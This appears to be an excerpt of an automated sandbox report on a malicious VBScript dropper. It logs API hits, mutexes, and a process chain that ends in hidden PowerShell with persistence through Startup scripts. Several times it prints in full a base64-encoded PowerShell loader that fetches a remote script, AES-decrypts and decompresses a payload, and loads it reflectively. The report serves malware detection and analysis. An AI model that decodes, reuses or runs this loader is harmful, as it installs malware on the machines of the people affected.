Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3130b0098.1.raw.unpack, tcsnk.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.powershell.exe.1d3130da550.6.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3130da550.6.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d31326fc88.4.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d31326fc88.4.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7cdfeefc8.0.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7cdfeefc8.0.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3130b0098.1.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3130b0098.1.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ce1adde0.11.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ce1adde0.11.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ce012688.10.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ce012688.10.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.powershell.exe.1d7ce019498.1.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.powershell.exe.1d7ce019498.1.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3130d3740.2.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3130d3740.2.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.1d3130bafb0.5.raw.unpack, tcsnk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winVBS@52/31@4/4

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\dwm.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8164:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\NZ6iGSEtCjLMGblP
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Xclient.vbs	Virustotal: Detection: 8%
Source: Xclient.vbs	ReversingLabs: Detection: 27%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command 